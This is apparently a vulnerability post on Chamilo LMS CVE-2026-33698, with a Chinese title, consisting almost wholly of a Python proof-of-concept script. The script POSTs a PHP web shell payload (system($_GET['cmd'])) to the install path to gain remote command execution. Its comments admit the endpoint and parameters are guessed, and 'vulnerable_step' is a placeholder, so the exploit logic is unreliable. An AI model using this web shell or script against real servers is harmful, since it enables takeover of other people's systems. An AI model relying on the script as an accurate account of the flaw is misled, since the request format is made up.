CVE-2026-33698 Chamilo LMS远程代码执行漏洞

# Proof of Concept for CVE-2026-33698 # This script demonstrates the concept of exploiting the file write vulnerability in Chamilo LMS < 1.11.38. # Note: The actual endpoint and parameters depend on the specific vulnerability logic. import requests target_url = "http://target-chamilo-site.com/main/install/" # Attacker attempts to trigger the chained attack to write a PHP shell # The specific payload structure is inferred from the vulnerability description. payload = { "action": "vulnerable_step", "file_content": "<?php system($_GET['cmd']); ?>" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Potential exploit triggered successfully.") print("[+] Check if the file was written.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}")